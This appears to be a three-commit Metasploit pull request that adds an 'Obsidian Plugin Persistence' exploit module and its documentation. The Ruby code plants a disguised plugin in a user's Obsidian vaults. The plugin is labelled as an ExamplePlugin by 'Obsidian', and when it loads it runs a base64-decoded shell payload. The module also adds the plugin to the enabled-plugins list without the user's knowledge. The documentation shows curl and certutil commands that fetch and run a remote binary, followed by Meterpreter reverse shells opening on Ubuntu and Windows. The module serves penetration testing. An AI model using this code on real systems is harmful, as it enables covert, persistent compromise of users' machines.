From 6723c585f25a16b1e7cb0c31a4725f6d2bd2103f Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 5 Dec 2024 17:54:07 -0500 Subject: [PATCH 1/3] obsidian plugin module --- .../local/obsidian_plugin_persistence.md | 116 +++++++++ .../local/obsidian_plugin_persistence.rb | 231 ++++++++++++++++++ 2 files changed, 347 insertions(+) create mode 100644 documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md create mode 100644 modules/exploits/multi/local/obsidian_plugin_persistence.rb diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md new file mode 100644 index 000000000000..b6d6a3c6e94c --- /dev/null +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -0,0 +1,116 @@ +## Vulnerable Application + +This module searches for Obsidian vaults for a user, and uploads a malicious +community plugin to the vault. The vaults must be opened with community +plugins enabled (NOT restricted mode), but the plugin will be enabled +automatically. + +Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get a user shell on the target +4. Do: `use multi/local/obsidian_plugin_persistence` +5. Do: Select a shell which will work on your target OS +6. Do: `run` +7. You should get a shell when the target user opens the vault without restricted mode. + +## Options + +### NAME + +Name of the plugin. Defaults to being randomly generated. + +### USER + +The user to target. Defaults the user the shell was obtained under. + +## Scenarios + +### Version and OS + +Get a user shell. + +``` +msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1 +session => 1 +msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true +verbose => true +msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit + +[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc & +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using plugin name: xQem +[*] Target User: ubuntu +[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json +[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test +[*] Uploading plugin to vault /home/ubuntu/Documents/test +[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js +[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json +[*] Found 1 enabled community plugins (sX2sv4) +[*] adding xQem to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 2.2.2.2 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500 + +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 22.04 (Linux 5.15.0-60-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Obsidian 1.7.7 on Windows 10 + +``` + +msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit +[*] Reloading module... + +[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using plugin name: pPq0K +[*] Target User: h00die +[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json +[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault +[*] Uploading plugin to vault C:\Users\h00die\Documents\vault +[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js +[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json +[*] Found 0 enabled community plugins () +[*] adding pPq0K to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA +[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0) +[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA +[*] Sending payload to 3.3.3.3 (CertUtil URL Agent) +[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500 + +meterpreter > getuid +Server username: DESKTOP-3ASD0R4\h00die +meterpreter > sysinfo +Computer : DESKTOP-3ASD0R4 +OS : Windows 10 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/local/obsidian_plugin_persistence.rb new file mode 100644 index 000000000000..533e76a913c2 --- /dev/null +++ b/modules/exploits/multi/local/obsidian_plugin_persistence.rb @@ -0,0 +1,231 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix # whoami + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Obsidian Plugin Persistence', + 'Description' => %q{ + This module searches for Obsidian vaults for a user, and uploads a malicious + community plugin to the vault. The vaults must be opened with community + plugins enabled (NOT restricted mode), but the plugin will be enabled + automatically. + + Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Module + 'Thomas Byrne' # Research, PoC + ], + 'DisclosureDate' => '2022-09-16', + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Privileged' => false, + 'References' => [ + [ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ], + [ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ], + [ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ], + [ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ], + [ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ] + ], + 'Arch' => [ARCH_CMD], + 'Platform' => %w[osx linux windows], + 'DefaultOptions' => { + # 25hrs, you know, just in case the user doesn't open Obsidian for a while + 'WfsDelay' => 90_000, + 'PrependMigrate' => true + }, + 'Targets' => [ + ['Auto', {} ], + ['Linux', { 'Platform' => 'unix' } ], + ['OSX', { 'Platform' => 'osx' } ], + ['Windows', { 'Platform' => 'windows' } ], + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] + }, + 'DefaultTarget' => 0 + ) + ) + + register_options([ + OptString.new('NAME', [ false, 'Name of the plugin', '' ]), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), + ]) + end + + def plugin_name + return datastore['NAME'] unless datastore['NAME'].empty? + + rand_text_alphanumeric(4..10) + end + + def find_vaults + vaults_found = [] + user = target_user + vprint_status("Target User: #{user}") + case session.platform + when 'windows', 'win' + config_file = "C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json" + when 'osx' + config_file = "/User/#{user}/Library/Application Support/obsidian/obsidian.json" + when 'linux' + config_file = "/home/#{user}/.config/obsidian/obsidian.json" + end + + if file?(config_file) + vprint_status("Found user obsidian file: #{config_file}") + config_contents = read_file(config_file) + return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? + + vaults = JSON.parse(config_contents) + vaults_found = vaults['vaults'] + vaults['vaults'].each do |k, v| + if v['open'] + print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") + else + print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") + end + end + end + + vaults_found + end + + def manifest_js(plugin_name) + JSON.pretty_generate({ + 'id' => plugin_name.gsub(' ', '_'), + 'name' => plugin_name, + 'version' => '1.0.0', + 'minAppVersion' => '0.15.0', + 'description' => '', + 'author' => 'Obsidian', + 'authorUrl' => 'https://obsidian.md', + 'isDesktopOnly' => false + }) + end + + def main_js(_plugin_name) + Rex::Text.encode_base64(payload.encoded) + if ['windows', 'win'].include? session.platform + # XXX need to test + caller_stub_b64 = payload.encoded.to_s + else + caller_stub_b64 = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" + end + %% +/* +THIS IS A GENERATED/BUNDLED FILE BY ESBUILD +if you want to view the source, please visit the github repository of this plugin +*/ + +var __defProp = Object.defineProperty; +var __getOwnPropDesc = Object.getOwnPropertyDescriptor; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { get: all[name], enumerable: true }); +}; +var __copyProps = (to, from, except, desc) => { + if (from && typeof from === "object" || typeof from === "function") { + for (let key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(to, key) && key !== except) + __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); + } + return to; +}; +var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); + +// main.ts +var main_exports = {}; +__export(main_exports, { + default: () => ExamplePlugin +}); +module.exports = __toCommonJS(main_exports); +var import_obsidian = require("obsidian"); +var ExamplePlugin = class extends import_obsidian.Plugin { + async onload() { + var command = "#{caller_stub_b64}"; + const { exec } = require("child_process"); + exec(command, (error, stdout, stderr) => { + if (error) { + console.log(`error: ${error.message}`); + return; + } + if (stderr) { + console.log(`stderr: ${stderr}`); + return; + } + console.log(`stdout: ${stdout}`); + }); + } + async onunload() { + } +}; +% + end + + def target_user + return datastore['USER'] unless datastore['USER'].empty? + + return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform + + whoami + end + + def check + return CheckCode::Appears('Vaults found') unless find_vaults.empty? + + CheckCode::Safe('No vaults found') + end + + def exploit + plugin = plugin_name + print_status("Using plugin name: #{plugin}") + vaults = find_vaults + vaults.each_value do |vault| + print_status("Uploading plugin to vault #{vault['path']}") + # avoid mkdir function because taht registers it for delete, and we don't want that for + # persistent modules + if ['windows', 'win'].include? session.platform + cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"") + else + cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'") + end + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") + write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") + write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) + + # read in the enabled community plugins, and add ours to the enabled list + if file?("#{vault['path']}/.obsidian/community-plugins.json") + plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") + begin + plugins = JSON.parse(plugins) + vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") + rescue JSON::ParserError + plugins = [] + end + # XXX store loot? + plugins << plugin unless plugins.include?(plugin) + else + plugins = [plugin] + end + vprint_status("adding #{plugin} to the enabled community plugins list") + write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins)) + print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.') + end + end +end From 7cf942ca30f1fdcbf1f9f536e76dcc1934dc7eb5 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 11 Dec 2024 17:49:43 -0500 Subject: [PATCH 2/3] peer review --- .../local/obsidian_plugin_persistence.md | 4 +++ .../local/obsidian_plugin_persistence.rb | 26 ++++++++++++++----- 2 files changed, 23 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md index b6d6a3c6e94c..29458fd431b2 100644 --- a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -27,6 +27,10 @@ Name of the plugin. Defaults to being randomly generated. The user to target. Defaults the user the shell was obtained under. +### CONFIG + +Config file location on target. Defaults to empty which will search the default locations. + ## Scenarios ### Version and OS diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/local/obsidian_plugin_persistence.rb index 533e76a913c2..bc5e2d3a9f7d 100644 --- a/modules/exploits/multi/local/obsidian_plugin_persistence.rb +++ b/modules/exploits/multi/local/obsidian_plugin_persistence.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix # whoami + include Msf::Auxiliary::Report def initialize(info = {}) super( @@ -62,6 +63,7 @@ def initialize(info = {}) register_options([ OptString.new('NAME', [ false, 'Name of the plugin', '' ]), OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), + OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), ]) end @@ -77,14 +79,21 @@ def find_vaults vprint_status("Target User: #{user}") case session.platform when 'windows', 'win' - config_file = "C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json" + config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"] when 'osx' - config_file = "/User/#{user}/Library/Application Support/obsidian/obsidian.json" + config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"] when 'linux' - config_file = "/home/#{user}/.config/obsidian/obsidian.json" + config_files = [ + "/home/#{user}/.config/obsidian/obsidian.json", + "/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json" + ] # snap package end - if file?(config_file) + config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty? + + config_files.each do |config_file| + next unless file?(config_file) + vprint_status("Found user obsidian file: #{config_file}") config_contents = read_file(config_file) return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? @@ -98,6 +107,7 @@ def find_vaults print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") end end + return vaults_found end vaults_found @@ -119,7 +129,6 @@ def manifest_js(plugin_name) def main_js(_plugin_name) Rex::Text.encode_base64(payload.encoded) if ['windows', 'win'].include? session.platform - # XXX need to test caller_stub_b64 = payload.encoded.to_s else caller_stub_b64 = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" @@ -195,9 +204,10 @@ def exploit plugin = plugin_name print_status("Using plugin name: #{plugin}") vaults = find_vaults + fail_with(Failure::NotFound, 'No vaults found') unless find_vaults.empty? vaults.each_value do |vault| print_status("Uploading plugin to vault #{vault['path']}") - # avoid mkdir function because taht registers it for delete, and we don't want that for + # avoid mkdir function because that registers it for delete, and we don't want that for # persistent modules if ['windows', 'win'].include? session.platform cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"") @@ -215,10 +225,12 @@ def exploit begin plugins = JSON.parse(plugins) vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") + path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) + print_good("Config file saved in: #{path}") rescue JSON::ParserError plugins = [] end - # XXX store loot? + plugins << plugin unless plugins.include?(plugin) else plugins = [plugin] From 77d0292be315cf9f19c3137333d9614b846e994e Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 14 Dec 2024 17:38:29 -0500 Subject: [PATCH 3/3] additional review for obsidian plugin --- .../local/obsidian_plugin_persistence.md | 4 +++ .../local/obsidian_plugin_persistence.rb | 31 +++++++++++++------ 2 files changed, 26 insertions(+), 9 deletions(-) diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md index 29458fd431b2..eb59802c5bce 100644 --- a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -7,6 +7,10 @@ automatically. Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. +### Debugging + +To open the console (similar to chrome), use `ctr+shift+i`. + ## Verification Steps 1. Install the application diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/local/obsidian_plugin_persistence.rb index bc5e2d3a9f7d..eeebb69efabc 100644 --- a/modules/exploits/multi/local/obsidian_plugin_persistence.rb +++ b/modules/exploits/multi/local/obsidian_plugin_persistence.rb @@ -45,6 +45,10 @@ def initialize(info = {}) 'WfsDelay' => 90_000, 'PrependMigrate' => true }, + 'Payload' => { + 'BadChars' => '"' + }, + 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ ['Auto', {} ], ['Linux', { 'Platform' => 'unix' } ], @@ -68,7 +72,7 @@ def initialize(info = {}) end def plugin_name - return datastore['NAME'] unless datastore['NAME'].empty? + return datastore['NAME'] unless datastore['NAME'].blank? rand_text_alphanumeric(4..10) end @@ -98,8 +102,19 @@ def find_vaults config_contents = read_file(config_file) return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? - vaults = JSON.parse(config_contents) + begin + vaults = JSON.parse(config_contents) + rescue JSON::ParserError + vprint_error("Failed to parse JSON from #{config_file}") + next + end + vaults_found = vaults['vaults'] + if vaults_found.nil? + vprint_error("No vaults found in #{config_file}") + next + end + vaults['vaults'].each do |k, v| if v['open'] print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") @@ -107,7 +122,6 @@ def find_vaults print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") end end - return vaults_found end vaults_found @@ -127,11 +141,10 @@ def manifest_js(plugin_name) end def main_js(_plugin_name) - Rex::Text.encode_base64(payload.encoded) if ['windows', 'win'].include? session.platform - caller_stub_b64 = payload.encoded.to_s + payload_stub = payload.encoded.to_s else - caller_stub_b64 = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" + payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" end %% /* @@ -166,7 +179,7 @@ def main_js(_plugin_name) var import_obsidian = require("obsidian"); var ExamplePlugin = class extends import_obsidian.Plugin { async onload() { - var command = "#{caller_stub_b64}"; + var command = "#{payload_stub}"; const { exec } = require("child_process"); exec(command, (error, stdout, stderr) => { if (error) { @@ -187,7 +200,7 @@ def main_js(_plugin_name) end def target_user - return datastore['USER'] unless datastore['USER'].empty? + return datastore['USER'] unless datastore['USER'].blank? return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform @@ -204,7 +217,7 @@ def exploit plugin = plugin_name print_status("Using plugin name: #{plugin}") vaults = find_vaults - fail_with(Failure::NotFound, 'No vaults found') unless find_vaults.empty? + fail_with(Failure::NotFound, 'No vaults found') if vaults.empty? vaults.each_value do |vault| print_status("Uploading plugin to vault #{vault['path']}") # avoid mkdir function because that registers it for delete, and we don't want that for